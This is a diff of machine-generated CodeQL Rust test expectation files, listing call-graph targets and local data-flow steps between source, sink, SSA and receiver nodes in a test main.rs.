-| main.rs:245:21:245:30 | source(...) | main.rs:1:1:3:1 | fn source |
-| main.rs:246:5:246:11 | sink(...) | main.rs:5:1:7:1 | fn sink |
-| main.rs:250:5:250:22 | data_out_of_call(...) | main.rs:16:1:19:1 | fn data_out_of_call |
-| main.rs:251:5:251:21 | data_in_to_call(...) | main.rs:25:1:28:1 | fn data_in_to_call |
-| main.rs:252:5:252:23 | data_through_call(...) | main.rs:34:1:38:1 | fn data_through_call |
-| main.rs:253:5:253:34 | data_through_nested_function(...) | main.rs:48:1:57:1 | fn data_through_nested_function |
-| main.rs:255:5:255:24 | data_out_of_method(...) | main.rs:88:1:92:1 | fn data_out_of_method |
-| main.rs:256:5:256:28 | data_in_to_method_call(...) | main.rs:94:1:98:1 | fn data_in_to_method_call |
-| main.rs:257:5:257:25 | data_through_method(...) | main.rs:100:1:105:1 | fn data_through_method |
-| main.rs:259:5:259:31 | test_operator_overloading(...) | main.rs:148:1:164:1 | fn test_operator_overloading |
-| main.rs:260:5:260:22 | test_async_await(...) | main.rs:219:1:224:1 | fn test_async_await |
-| main.rs:261:5:261:24 | mutates_argument_1(...) | main.rs:232:1:239:1 | fn mutates_argument_1 |
-| main.rs:262:5:262:24 | mutates_argument_2(...) | main.rs:241:1:247:1 | fn mutates_argument_2 |
+| main.rs:117:13:117:25 | mn.get_data(...) | main.rs:98:5:104:5 | fn get_data |
+| main.rs:118:5:118:11 | sink(...) | main.rs:5:1:7:1 | fn sink |
+| main.rs:123:13:123:21 | source(...) | main.rs:1:1:3:1 | fn source |
+| main.rs:124:5:124:17 | mn.data_in(...) | main.rs:94:5:96:5 | fn data_in |
+| main.rs:129:13:129:21 | source(...) | main.rs:1:1:3:1 | fn source |
+| main.rs:130:13:130:30 | mn.data_through(...) | main.rs:106:5:112:5 | fn data_through |
+| main.rs:131:5:131:11 | sink(...) | main.rs:5:1:7:1 | fn sink |
+| main.rs:136:13:136:21 | source(...) | main.rs:1:1:3:1 | fn source |
+| main.rs:137:5:137:26 | ...::data_in(...) | main.rs:94:5:96:5 | fn data_in |
+| main.rs:142:13:142:22 | source(...) | main.rs:1:1:3:1 | fn source |
+| main.rs:143:13:143:39 | ...::data_through(...) | main.rs:106:5:112:5 | fn data_through |
+| main.rs:144:5:144:11 | sink(...) | main.rs:5:1:7:1 | fn sink |
+| main.rs:161:13:161:34 | ...::new(...) | main.rs:154:5:157:5 | fn new |
+| main.rs:161:24:161:33 | source(...) | main.rs:1:1:3:1 | fn source |
+| main.rs:163:5:163:11 | sink(...) | main.rs:5:1:7:1 | fn sink |
+| main.rs:176:28:176:36 | source(...) | main.rs:1:1:3:1 | fn source |
+| main.rs:179:5:179:17 | sink(...) | main.rs:5:1:7:1 | fn sink |
+| main.rs:182:28:182:36 | source(...) | main.rs:1:1:3:1 | fn source |
+| main.rs:184:5:184:17 | sink(...) | main.rs:5:1:7:1 | fn sink |
+| main.rs:186:28:186:36 | source(...) | main.rs:1:1:3:1 | fn source |
+| main.rs:188:13:188:20 | a.add(...) | main.rs:169:5:172:5 | fn add |
+| main.rs:189:5:189:17 | sink(...) | main.rs:5:1:7:1 | fn sink |
+| main.rs:211:28:211:36 | source(...) | main.rs:1:1:3:1 | fn source |
+| main.rs:214:5:214:11 | sink(...) | main.rs:5:1:7:1 | fn sink |
+| main.rs:217:28:217:37 | source(...) | main.rs:1:1:3:1 | fn source |
+| main.rs:219:5:219:11 | sink(...) | main.rs:5:1:7:1 | fn sink |
+| main.rs:222:28:222:37 | source(...) | main.rs:1:1:3:1 | fn source |
+| main.rs:224:5:224:11 | sink(...) | main.rs:5:1:7:1 | fn sink |
+| main.rs:228:13:228:21 | source(...) | main.rs:1:1:3:1 | fn source |
+| main.rs:229:5:229:11 | sink(...) | main.rs:5:1:7:1 | fn sink |
+| main.rs:234:13:234:26 | async_source(...) | main.rs:227:1:231:1 | fn async_source |
+| main.rs:235:5:235:11 | sink(...) | main.rs:5:1:7:1 | fn sink |
+| main.rs:238:17:238:25 | source(...) | main.rs:1:1:3:1 | fn source |
+| main.rs:239:9:239:15 | sink(...) | main.rs:5:1:7:1 | fn sink |
+| main.rs:242:5:242:17 | sink(...) | main.rs:5:1:7:1 | fn sink |
+| main.rs:246:41:246:54 | async_source(...) | main.rs:227:1:231:1 | fn async_source |
+| main.rs:247:5:247:11 | sink(...) | main.rs:5:1:7:1 | fn sink |
+| main.rs:249:33:249:61 | test_async_await_async_part(...) | main.rs:233:1:243:1 | fn test_async_await_async_part |
+| main.rs:253:5:253:22 | data_out_of_call(...) | main.rs:16:1:19:1 | fn data_out_of_call |
+| main.rs:254:5:254:35 | data_out_of_call_side_effect1(...) | main.rs:35:1:40:1 | fn data_out_of_call_side_effect1 |
+| main.rs:255:5:255:35 | data_out_of_call_side_effect2(...) | main.rs:42:1:46:1 | fn data_out_of_call_side_effect2 |
+| main.rs:256:5:256:21 | data_in_to_call(...) | main.rs:52:1:55:1 | fn data_in_to_call |
+| main.rs:257:5:257:23 | data_through_call(...) | main.rs:61:1:65:1 | fn data_through_call |
+| main.rs:258:5:258:34 | data_through_nested_function(...) | main.rs:75:1:84:1 | fn data_through_nested_function |
+| main.rs:260:5:260:24 | data_out_of_method(...) | main.rs:115:1:119:1 | fn data_out_of_method |
+| main.rs:261:5:261:28 | data_in_to_method_call(...) | main.rs:121:1:125:1 | fn data_in_to_method_call |
+| main.rs:262:5:262:25 | data_through_method(...) | main.rs:127:1:132:1 | fn data_through_method |
+| main.rs:264:5:264:31 | test_operator_overloading(...) | main.rs:175:1:190:1 | fn test_operator_overloading |
+| main.rs:265:5:265:22 | test_async_await(...) | main.rs:245:1:250:1 | fn test_async_await |
diff --git a/rust/ql/test/library-tests/dataflow/local/DataFlowStep.expected b/rust/ql/test/library-tests/dataflow/local/DataFlowStep.expected
index a79710b75a76..2766d8c0fd8c 100644
--- a/rust/ql/test/library-tests/dataflow/local/DataFlowStep.expected
+++ b/rust/ql/test/library-tests/dataflow/local/DataFlowStep.expected
@@ -1,4 +1,5 @@
 localStep
+| file://:0:0:0:0 | [summary param] self in lang:std::_::<crate::path::Path>::canonicalize | file://:0:0:0:0 | [summary] read: Argument[self].OptionalBarrier[normalize-path] in lang:std::_::<crate::path::Path>::canonicalize |
 | main.rs:3:11:3:11 | [SSA] i | main.rs:4:12:4:12 | i |
 | main.rs:3:11:3:11 | i | main.rs:3:11:3:11 | [SSA] i |
 | main.rs:3:11:3:11 | i | main.rs:3:11:3:11 | i |
@@ -9,11 +10,13 @@ localStep
 | main.rs:6:9:6:9 | s | main.rs:6:9:6:9 | s |
 | main.rs:6:9:6:14 | ...: i64 | main.rs:6:9:6:9 | s |
 | main.rs:7:14:7:20 | FormatArgsExpr | main.rs:7:14:7:20 | MacroExpr |
+| main.rs:7:14:7:20 | [post] MacroExpr | main.rs:7:14:7:20 | [post] FormatArgsExpr |
 | main.rs:10:13:10:14 | [SSA] sr | main.rs:11:20:11:21 | sr |
 | main.rs:10:13:10:14 | sr | main.rs:10:13:10:14 | [SSA] sr |
 | main.rs:10:13:10:14 | sr | main.rs:10:13:10:14 | sr |
 | main.rs:10:13:10:20 | ...: ... | main.rs:10:13:10:14 | sr |
 | main.rs:11:14:11:21 | FormatArgsExpr | main.rs:11:14:11:21 | MacroExpr |
+| main.rs:11:14:11:21 | [post] MacroExpr | main.rs:11:14:11:21 | [post] FormatArgsExpr |
 | main.rs:22:9:22:9 | [SSA] s | main.rs:23:10:23:10 | s |
 | main.rs:22:9:22:9 | s | main.rs:22:9:22:9 | [SSA] s |
 | main.rs:22:9:22:9 | s | main.rs:22:9:22:9 | s |
@@ -277,22 +280,32 @@ localStep
 | main.rs:240:9:240:10 | s1 | main.rs:240:9:240:10 | [SSA] s1 |
 | main.rs:240:9:240:10 | s1 | main.rs:240:9:240:10 | s1 |
 | main.rs:240:14:240:29 | Some(...) | main.rs:240:9:240:10 | s1 |
+| main.rs:241:10:241:11 | [post] receiver for s1 | main.rs:241:10:241:11 | [post] s1 |
+| main.rs:241:10:241:11 | s1 | main.rs:241:10:241:11 | receiver for s1 |
 | main.rs:245:9:245:10 | [SSA] s1 | main.rs:246:10:246:11 | s1 |
 | main.rs:245:9:245:10 | s1 | main.rs:245:9:245:10 | [SSA] s1 |
 | main.rs:245:9:245:10 | s1 | main.rs:245:9:245:10 | s1 |
 | main.rs:245:14:245:29 | Some(...) | main.rs:245:9:245:10 | s1 |
+| main.rs:246:10:246:11 | [post] receiver for s1 | main.rs:246:10:246:11 | [post] s1 |
+| main.rs:246:10:246:11 | s1 | main.rs:246:10:246:11 | receiver for s1 |
 | main.rs:248:9:248:10 | [SSA] s2 | main.rs:249:10:249:11 | s2 |
 | main.rs:248:9:248:10 | s2 | main.rs:248:9:248:10 | [SSA] s2 |
 | main.rs:248:9:248:10 | s2 | main.rs:248:9:248:10 | s2 |
 | main.rs:248:14:248:20 | Some(...) | main.rs:248:9:248:10 | s2 |
+| main.rs:249:10:249:11 | [post] receiver for s2 | main.rs:249:10:249:11 | [post] s2 |
+| main.rs:249:10:249:11 | s2 | main.rs:249:10:249:11 | receiver for s2 |
 | main.rs:253:9:253:10 | [SSA] s1 | main.rs:254:10:254:11 | s1 |
 | main.rs:253:9:253:10 | s1 | main.rs:253:9:253:10 | [SSA] s1 |
 | main.rs:253:9:253:10 | s1 | main.rs:253:9:253:10 | s1 |
 | main.rs:253:14:253:29 | Some(...) | main.rs:253:9:253:10 | s1 |
+| main.rs:254:10:254:11 | [post] receiver for s1 | main.rs:254:10:254:11 | [post] s1 |
+| main.rs:254:10:254:11 | s1 | main.rs:254:10:254:11 | receiver for s1 |
 | main.rs:256:9:256:10 | [SSA] s2 | main.rs:257:10:257:11 | s2 |
 | main.rs:256:9:256:10 | s2 | main.rs:256:9:256:10 | [SSA] s2 |
 | main.rs:256:9:256:10 | s2 | main.rs:256:9:256:10 | s2 |
 | main.rs:256:14:256:17 | None | main.rs:256:9:256:10 | s2 |
+| main.rs:257:10:257:11 | [post] receiver for s2 | main.rs:257:10:257:11 | [post] s2 |
+| main.rs:257:10:257:11 | s2 | main.rs:257:10:257:11 | receiver for s2 |
 | main.rs:261:9:261:10 | [SSA] s1 | main.rs:263:14:263:15 | s1 |
 | main.rs:261:9:261:10 | s1 | main.rs:261:9:261:10 | [SSA] s1 |
 | main.rs:261:9:261:10 | s1 | main.rs:261:9:261:10 | s1 |
@@ -314,12 +327,20 @@ localStep
 | main.rs:271:9:271:11 | o1a | main.rs:271:9:271:11 | [SSA] o1a |
 | main.rs:271:9:271:11 | o1a | main.rs:271:9:271:11 | o1a |
 | main.rs:271:29:271:30 | [post] r1 | main.rs:272:29:272:30 | r1 |
+| main.rs:271:29:271:30 | [post] receiver for r1 | main.rs:271:29:271:30 | [post] r1 |
+| main.rs:271:29:271:30 | r1 | main.rs:271:29:271:30 | receiver for r1 |
 | main.rs:271:29:271:30 | r1 | main.rs:272:29:272:30 | r1 |
 | main.rs:271:29:271:35 | r1.ok(...) | main.rs:271:9:271:11 | o1a |
 | main.rs:272:9:272:11 | [SSA] o1b | main.rs:274:10:274:12 | o1b |
 | main.rs:272:9:272:11 | o1b | main.rs:272:9:272:11 | [SSA] o1b |
 | main.rs:272:9:272:11 | o1b | main.rs:272:9:272:11 | o1b |
+| main.rs:272:29:272:30 | [post] receiver for r1 | main.rs:272:29:272:30 | [post] r1 |
+| main.rs:272:29:272:30 | r1 | main.rs:272:29:272:30 | receiver for r1 |
 | main.rs:272:29:272:36 | r1.err(...) | main.rs:272:9:272:11 | o1b |
+| main.rs:273:10:273:12 | [post] receiver for o1a | main.rs:273:10:273:12 | [post] o1a |
+| main.rs:273:10:273:12 | o1a | main.rs:273:10:273:12 | receiver for o1a |
+| main.rs:274:10:274:12 | [post] receiver for o1b | main.rs:274:10:274:12 | [post] o1b |
+| main.rs:274:10:274:12 | o1b | main.rs:274:10:274:12 | receiver for o1b |
 | main.rs:276:9:276:10 | [SSA] r2 | main.rs:277:29:277:30 | r2 |
 | main.rs:276:9:276:10 | r2 | main.rs:276:9:276:10 | [SSA] r2 |
 | main.rs:276:9:276:10 | r2 | main.rs:276:9:276:10 | r2 |
@@ -328,12 +349,20 @@ localStep
 | main.rs:277:9:277:11 | o2a | main.rs:277:9:277:11 | [SSA] o2a |
 | main.rs:277:9:277:11 | o2a | main.rs:277:9:277:11 | o2a |
 | main.rs:277:29:277:30 | [post] r2 | main.rs:278:29:278:30 | r2 |
+| main.rs:277:29:277:30 | [post] receiver for r2 | main.rs:277:29:277:30 | [post] r2 |
+| main.rs:277:29:277:30 | r2 | main.rs:277:29:277:30 | receiver for r2 |
 | main.rs:277:29:277:30 | r2 | main.rs:278:29:278:30 | r2 |
 | main.rs:277:29:277:35 | r2.ok(...) | main.rs:277:9:277:11 | o2a |
 | main.rs:278:9:278:11 | [SSA] o2b | main.rs:280:10:280:12 | o2b |
 | main.rs:278:9:278:11 | o2b | main.rs:278:9:278:11 | [SSA] o2b |
 | main.rs:278:9:278:11 | o2b | main.rs:278:9:278:11 | o2b |
+| main.rs:278:29:278:30 | [post] receiver for r2 | main.rs:278:29:278:30 | [post] r2 |
+| main.rs:278:29:278:30 | r2 | main.rs:278:29:278:30 | receiver for r2 |
 | main.rs:278:29:278:36 | r2.err(...) | main.rs:278:9:278:11 | o2b |
+| main.rs:279:10:279:12 | [post] receiver for o2a | main.rs:279:10:279:12 | [post] o2a |
+| main.rs:279:10:279:12 | o2a | main.rs:279:10:279:12 | receiver for o2a |
+| main.rs:280:10:280:12 | [post] receiver for o2b | main.rs:280:10:280:12 | [post] o2b |
+| main.rs:280:10:280:12 | o2b | main.rs:280:10:280:12 | receiver for o2b |
 | main.rs:284:9:284:10 | [SSA] s1 | main.rs:287:14:287:15 | s1 |
 | main.rs:284:9:284:10 | s1 | main.rs:284:9:284:10 | [SSA] s1 |
 | main.rs:284:9:284:10 | s1 | main.rs:284:9:284:10 | s1 |
@@ -363,14 +392,22 @@ localStep
 | main.rs:297:9:297:10 | s1 | main.rs:297:9:297:10 | [SSA] s1 |
 | main.rs:297:9:297:10 | s1 | main.rs:297:9:297:10 | s1 |
 | main.rs:297:32:297:45 | Ok(...) | main.rs:297:9:297:10 | s1 |
+| main.rs:298:10:298:11 | [post] receiver for s1 | main.rs:298:10:298:11 | [post] s1 |
 | main.rs:298:10:298:11 | [post] s1 | main.rs:299:10:299:11 | s1 |
+| main.rs:298:10:298:11 | s1 | main.rs:298:10:298:11 | receiver for s1 |
 | main.rs:298:10:298:11 | s1 | main.rs:299:10:299:11 | s1 |
+| main.rs:299:10:299:11 | [post] receiver for s1 | main.rs:299:10:299:11 | [post] s1 |
+| main.rs:299:10:299:11 | s1 | main.rs:299:10:299:11 | receiver for s1 |
 | main.rs:301:9:301:10 | [SSA] s2 | main.rs:302:10:302:11 | s2 |
 | main.rs:301:9:301:10 | s2 | main.rs:301:9:301:10 | [SSA] s2 |
 | main.rs:301:9:301:10 | s2 | main.rs:301:9:301:10 | s2 |
 | main.rs:301:32:301:46 | Err(...) | main.rs:301:9:301:10 | s2 |
+| main.rs:302:10:302:11 | [post] receiver for s2 | main.rs:302:10:302:11 | [post] s2 |
 | main.rs:302:10:302:11 | [post] s2 | main.rs:303:10:303:11 | s2 |
+| main.rs:302:10:302:11 | s2 | main.rs:302:10:302:11 | receiver for s2 |
 | main.rs:302:10:302:11 | s2 | main.rs:303:10:303:11 | s2 |
+| main.rs:303:10:303:11 | [post] receiver for s2 | main.rs:303:10:303:11 | [post] s2 |
+| main.rs:303:10:303:11 | s2 | main.rs:303:10:303:11 | receiver for s2 |
 | main.rs:312:9:312:10 | [SSA] s1 | main.rs:314:11:314:12 | s1 |
 | main.rs:312:9:312:10 | s1 | main.rs:312:9:312:10 | [SSA] s1 |
 | main.rs:312:9:312:10 | s1 | main.rs:312:9:312:10 | s1 |
@@ -393,13 +430,10 @@ localStep
 | main.rs:318:11:318:12 | s1 | main.rs:319:9:319:45 | ... \| ... |
 | main.rs:319:9:319:45 | ... \| ... | main.rs:319:9:319:25 | ...::A(...) |
 | main.rs:319:9:319:45 | ... \| ... | main.rs:319:29:319:45 | ...::B(...) |
-| main.rs:319:9:319:45 | [SSA] phi | main.rs:319:55:319:55 | n |
-| main.rs:319:24:319:24 | [SSA] [input] phi | main.rs:319:9:319:45 | [SSA] phi |
-| main.rs:319:24:319:24 | [SSA] n | main.rs:319:24:319:24 | [SSA] [input] phi |
+| main.rs:319:24:319:24 | [SSA] n | main.rs:319:55:319:55 | n |
 | main.rs:319:24:319:24 | n | main.rs:319:24:319:24 | [SSA] n |
 | main.rs:319:24:319:24 | n | main.rs:319:24:319:24 | n |
-| main.rs:319:44:319:44 | [SSA] [input] phi | main.rs:319:9:319:45 | [SSA] phi |
-| main.rs:319:44:319:44 | [SSA] n | main.rs:319:44:319:44 | [SSA] [input] phi |
+| main.rs:319:44:319:44 | [SSA] n | main.rs:319:55:319:55 | n |
 | main.rs:319:44:319:44 | n | main.rs:319:44:319:44 | [SSA] n |
 | main.rs:319:44:319:44 | n | main.rs:319:44:319:44 | n |
 | main.rs:319:50:319:56 | sink(...) | main.rs:318:5:320:5 | match s1 { ... } |
@@ -436,13 +470,10 @@ localStep
 | main.rs:336:11:336:12 | s1 | main.rs:337:9:337:19 | ... \| ... |
 | main.rs:337:9:337:19 | ... \| ... | main.rs:337:9:337:12 | A(...) |
 | main.rs:337:9:337:19 | ... \| ... | main.rs:337:16:337:19 | B(...) |
-| main.rs:337:9:337:19 | [SSA] phi | main.rs:337:29:337:29 | n |
-| main.rs:337:11:337:11 | [SSA] [input] phi | main.rs:337:9:337:19 | [SSA] phi |
-| main.rs:337:11:337:11 | [SSA] n | main.rs:337:11:337:11 | [SSA] [input] phi |
+| main.rs:337:11:337:11 | [SSA] n | main.rs:337:29:337:29 | n |
 | main.rs:337:11:337:11 | n | main.rs:337:11:337:11 | [SSA] n |
 | main.rs:337:11:337:11 | n | main.rs:337:11:337:11 | n |
-| main.rs:337:18:337:18 | [SSA] [input] phi | main.rs:337:9:337:19 | [SSA] phi |
-| main.rs:337:18:337:18 | [SSA] n | main.rs:337:18:337:18 | [SSA] [input] phi |
+| main.rs:337:18:337:18 | [SSA] n | main.rs:337:29:337:29 | n |
 | main.rs:337:18:337:18 | n | main.rs:337:18:337:18 | [SSA] n |
 | main.rs:337:18:337:18 | n | main.rs:337:18:337:18 | n |
 | main.rs:337:24:337:30 | sink(...) | main.rs:336:5:338:5 | match s1 { ... } |
@@ -479,13 +510,10 @@ localStep
 | main.rs:359:11:359:12 | s1 | main.rs:360:9:360:71 | ... \| ... |
 | main.rs:360:9:360:71 | ... \| ... | main.rs:360:9:360:38 | ...::C {...} |
 | main.rs:360:9:360:71 | ... \| ... | main.rs:360:42:360:71 | ...::D {...} |
-| main.rs:360:9:360:71 | [SSA] phi | main.rs:360:81:360:81 | n |
-| main.rs:360:36:360:36 | [SSA] [input] phi | main.rs:360:9:360:71 | [SSA] phi |
-| main.rs:360:36:360:36 | [SSA] n | main.rs:360:36:360:36 | [SSA] [input] phi |
+| main.rs:360:36:360:36 | [SSA] n | main.rs:360:81:360:81 | n |
 | main.rs:360:36:360:36 | n | main.rs:360:36:360:36 | [SSA] n |
 | main.rs:360:36:360:36 | n | main.rs:360:36:360:36 | n |
-| main.rs:360:69:360:69 | [SSA] [input] phi | main.rs:360:9:360:71 | [SSA] phi |
-| main.rs:360:69:360:69 | [SSA] n | main.rs:360:69:360:69 | [SSA] [input] phi |
+| main.rs:360:69:360:69 | [SSA] n | main.rs:360:81:360:81 | n |
 | main.rs:360:69:360:69 | n | main.rs:360:69:360:69 | [SSA] n |
 | main.rs:360:69:360:69 | n | main.rs:360:69:360:69 | n |
 | main.rs:360:76:360:82 | sink(...) | main.rs:359:5:361:5 | match s1 { ... } |
@@ -522,13 +550,10 @@ localStep
 | main.rs:379:11:379:12 | s1 | main.rs:380:9:380:43 | ... \| ... |
 | main.rs:380:9:380:43 | ... \| ... | main.rs:380:9:380:24 | C {...} |
 | main.rs:380:9:380:43 | ... \| ... | main.rs:380:28:380:43 | D {...} |
-| main.rs:380:9:380:43 | [SSA] phi | main.rs:380:53:380:53 | n |
-| main.rs:380:22:380:22 | [SSA] [input] phi | main.rs:380:9:380:43 | [SSA] phi |
-| main.rs:380:22:380:22 | [SSA] n | main.rs:380:22:380:22 | [SSA] [input] phi |
+| main.rs:380:22:380:22 | [SSA] n | main.rs:380:53:380:53 | n |
 | main.rs:380:22:380:22 | n | main.rs:380:22:380:22 | [SSA] n |
 | main.rs:380:22:380:22 | n | main.rs:380:22:380:22 | n |
-| main.rs:380:41:380:41 | [SSA] [input] phi | main.rs:380:9:380:43 | [SSA] phi |
-| main.rs:380:41:380:41 | [SSA] n | main.rs:380:41:380:41 | [SSA] [input] phi |
+| main.rs:380:41:380:41 | [SSA] n | main.rs:380:53:380:53 | n |
 | main.rs:380:41:380:41 | n | main.rs:380:41:380:41 | [SSA] n |
 | main.rs:380:41:380:41 | n | main.rs:380:41:380:41 | n |
 | main.rs:380:48:380:54 | sink(...) | main.rs:379:5:381:5 | match s1 { ... } |
@@ -619,6 +644,8 @@ localStep
 | main.rs:440:39:440:72 | ...: Vec::<...> | main.rs:440:39:440:43 | names |
 | main.rs:441:9:441:20 | default_name | main.rs:441:9:441:20 | [SSA] default_name |
 | main.rs:441:9:441:20 | default_name | main.rs:441:9:441:20 | default_name |
+| main.rs:441:24:441:33 | [post] receiver for source(...) | main.rs:441:24:441:33 | [post] source(...) |
+| main.rs:441:24:441:33 | source(...) | main.rs:441:24:441:33 | receiver for source(...) |
 | main.rs:441:24:441:45 | ... .to_string(...) | main.rs:441:9:441:20 | default_name |
 | main.rs:441:24:441:45 | ... .to_string(...) | main.rs:442:9:442:20 | phi(default_name) |
 | main.rs:442:5:448:5 | for ... in ... { ... } | main.rs:440:75:449:1 | { ... } |
@@ -634,10 +661,16 @@ localStep
 | main.rs:444:17:444:17 | [SSA] n | main.rs:445:18:445:18 | n |
 | main.rs:444:17:444:17 | n | main.rs:444:17:444:17 | [SSA] n |
 | main.rs:444:17:444:17 | n | main.rs:444:17:444:17 | n |
+| main.rs:444:21:444:24 | [post] receiver for name | main.rs:444:21:444:24 | [post] name |
+| main.rs:444:21:444:24 | name | main.rs:444:21:444:24 | receiver for name |
 | main.rs:444:21:444:68 | name.unwrap_or_else(...) | main.rs:444:17:444:17 | n |
 | main.rs:444:41:444:67 | [post] default_name | main.rs:442:9:442:20 | phi(default_name) |
 | main.rs:444:41:444:67 | closure self in \|...\| ... | main.rs:444:44:444:55 | this |
 | main.rs:444:41:444:67 | default_name | main.rs:442:9:442:20 | phi(default_name) |
+| main.rs:444:44:444:55 | [post] receiver for default_name | main.rs:444:44:444:55 | [post] default_name |
+| main.rs:444:44:444:55 | default_name | main.rs:444:44:444:55 | receiver for default_name |
+| main.rs:445:18:445:18 | [post] receiver for n | main.rs:445:18:445:18 | [post] n |
+| main.rs:445:18:445:18 | n | main.rs:445:18:445:18 | receiver for n |
 | main.rs:458:9:458:9 | [SSA] s | main.rs:459:10:459:10 | s |
 | main.rs:458:9:458:9 | s | main.rs:458:9:458:9 | [SSA] s |
 | main.rs:458:9:458:9 | s | main.rs:458:9:458:9 | s |
@@ -648,6 +681,7 @@ localStep
 | main.rs:462:16:462:16 | s | main.rs:462:16:462:16 | s |
 | main.rs:462:16:462:24 | ...: String | main.rs:462:16:462:16 | s |
 | main.rs:463:14:463:20 | FormatArgsExpr | main.rs:463:14:463:20 | MacroExpr |
+| main.rs:463:14:463:20 | [post] MacroExpr | main.rs:463:14:463:20 | [post] FormatArgsExpr |
 | main.rs:467:9:467:9 | [SSA] a | main.rs:468:13:468:13 | a |
 | main.rs:467:9:467:9 | a | main.rs:467:9:467:9 | [SSA] a |
 | main.rs:467:9:467:9 | a | main.rs:467:9:467:9 | a |
@@ -656,19 +690,29 @@ localStep
 | main.rs:468:9:468:9 | b | main.rs:468:9:468:9 | [SSA] b |
 | main.rs:468:9:468:9 | b | main.rs:468:9:468:9 | b |
 | main.rs:468:13:468:13 | [post] a | main.rs:472:10:472:10 | a |
+| main.rs:468:13:468:13 | [post] receiver for a | main.rs:468:13:468:13 | [post] a |
+| main.rs:468:13:468:13 | a | main.rs:468:13:468:13 | receiver for a |
 | main.rs:468:13:468:13 | a | main.rs:472:10:472:10 | a |
 | main.rs:468:13:468:25 | a.to_string(...) | main.rs:468:9:468:9 | b |
 | main.rs:469:9:469:9 | [SSA] c | main.rs:474:10:474:10 | c |
 | main.rs:469:9:469:9 | c | main.rs:469:9:469:9 | [SSA] c |
 | main.rs:469:9:469:9 | c | main.rs:469:9:469:9 | c |
 | main.rs:469:13:469:13 | [post] b | main.rs:470:19:470:19 | b |
+| main.rs:469:13:469:13 | [post] receiver for b | main.rs:469:13:469:13 | [post] b |
+| main.rs:469:13:469:13 | b | main.rs:469:13:469:13 | receiver for b |
 | main.rs:469:13:469:13 | b | main.rs:470:19:470:19 | b |
+| main.rs:469:13:469:28 | [post] receiver for b.parse(...) | main.rs:469:13:469:28 | [post] b.parse(...) |
+| main.rs:469:13:469:28 | b.parse(...) | main.rs:469:13:469:28 | receiver for b.parse(...) |
 | main.rs:469:13:469:37 | ... .unwrap(...) | main.rs:469:9:469:9 | c |
 | main.rs:470:9:470:9 | [SSA] d | main.rs:475:10:475:10 | d |
 | main.rs:470:9:470:9 | d | main.rs:470:9:470:9 | [SSA] d |
 | main.rs:470:9:470:9 | d | main.rs:470:9:470:9 | d |
 | main.rs:470:19:470:19 | [post] b | main.rs:473:17:473:17 | b |
+| main.rs:470:19:470:19 | [post] receiver for b | main.rs:470:19:470:19 | [post] b |
+| main.rs:470:19:470:19 | b | main.rs:470:19:470:19 | receiver for b |
 | main.rs:470:19:470:19 | b | main.rs:473:17:473:17 | b |
+| main.rs:470:19:470:27 | [post] receiver for b.parse(...) | main.rs:470:19:470:27 | [post] b.parse(...) |
+| main.rs:470:19:470:27 | b.parse(...) | main.rs:470:19:470:27 | receiver for b.parse(...) |
 | main.rs:470:19:470:36 | ... .unwrap(...) | main.rs:470:9:470:9 | d |
 | main.rs:479:9:479:10 | [SSA] vs | main.rs:481:10:481:11 | vs |
 | main.rs:479:9:479:10 | vs | main.rs:479:9:479:10 | [SSA] vs |
@@ -676,10 +720,22 @@ localStep
 | main.rs:479:14:479:34 | [...] | main.rs:479:9:479:10 | vs |
 | main.rs:481:10:481:11 | [post] vs | main.rs:482:11:482:12 | vs |
 | main.rs:481:10:481:11 | vs | main.rs:482:11:482:12 | vs |
+| main.rs:482:11:482:12 | [post] receiver for vs | main.rs:482:11:482:12 | [post] vs |
 | main.rs:482:11:482:12 | [post] vs | main.rs:483:11:483:12 | vs |
+| main.rs:482:11:482:12 | vs | main.rs:482:11:482:12 | receiver for vs |
 | main.rs:482:11:482:12 | vs | main.rs:483:11:483:12 | vs |
+| main.rs:482:11:482:19 | [post] receiver for vs.iter(...) | main.rs:482:11:482:19 | [post] vs.iter(...) |
+| main.rs:482:11:482:19 | vs.iter(...) | main.rs:482:11:482:19 | receiver for vs.iter(...) |
+| main.rs:482:11:482:26 | ... .next(...) | main.rs:482:11:482:26 | receiver for ... .next(...) |
+| main.rs:482:11:482:26 | [post] receiver for ... .next(...) | main.rs:482:11:482:26 | [post] ... .next(...) |
+| main.rs:483:11:483:12 | [post] receiver for vs | main.rs:483:11:483:12 | [post] vs |
 | main.rs:483:11:483:12 | [post] vs | main.rs:485:14:485:15 | vs |
+| main.rs:483:11:483:12 | vs | main.rs:483:11:483:12 | receiver for vs |
 | main.rs:483:11:483:12 | vs | main.rs:485:14:485:15 | vs |
+| main.rs:483:11:483:19 | [post] receiver for vs.iter(...) | main.rs:483:11:483:19 | [post] vs.iter(...) |
+| main.rs:483:11:483:19 | vs.iter(...) | main.rs:483:11:483:19 | receiver for vs.iter(...) |
+| main.rs:483:11:483:26 | ... .nth(...) | main.rs:483:11:483:26 | receiver for ... .nth(...) |
+| main.rs:483:11:483:26 | [post] receiver for ... .nth(...) | main.rs:483:11:483:26 | [post] ... .nth(...) |
 | main.rs:485:9:485:9 | [SSA] v | main.rs:486:14:486:14 | v |
 | main.rs:485:9:485:9 | v | main.rs:485:9:485:9 | [SSA] v |
 | main.rs:485:9:485:9 | v | main.rs:485:9:485:9 | v |
@@ -687,25 +743,39 @@ localStep
 | main.rs:488:10:488:10 | [SSA] v | main.rs:489:14:489:14 | v |
 | main.rs:488:10:488:10 | v | main.rs:488:10:488:10 | [SSA] v |
 | main.rs:488:10:488:10 | v | main.rs:488:10:488:10 | v |
+| main.rs:488:15:488:16 | [post] receiver for vs | main.rs:488:15:488:16 | [post] vs |
 | main.rs:488:15:488:16 | [post] vs | main.rs:492:27:492:28 | vs |
+| main.rs:488:15:488:16 | vs | main.rs:488:15:488:16 | receiver for vs |
 | main.rs:488:15:488:16 | vs | main.rs:492:27:492:28 | vs |
 | main.rs:492:9:492:11 | [SSA] vs2 | main.rs:493:15:493:17 | vs2 |
 | main.rs:492:9:492:11 | vs2 | main.rs:492:9:492:11 | [SSA] vs2 |
 | main.rs:492:9:492:11 | vs2 | main.rs:492:9:492:11 | vs2 |
+| main.rs:492:27:492:28 | [post] receiver for vs | main.rs:492:27:492:28 | [post] vs |
 | main.rs:492:27:492:28 | [post] vs | main.rs:497:5:497:6 | vs |
+| main.rs:492:27:492:28 | vs | main.rs:492:27:492:28 | receiver for vs |
 | main.rs:492:27:492:28 | vs | main.rs:497:5:497:6 | vs |
+| main.rs:492:27:492:35 | [post] receiver for vs.iter(...) | main.rs:492:27:492:35 | [post] vs.iter(...) |
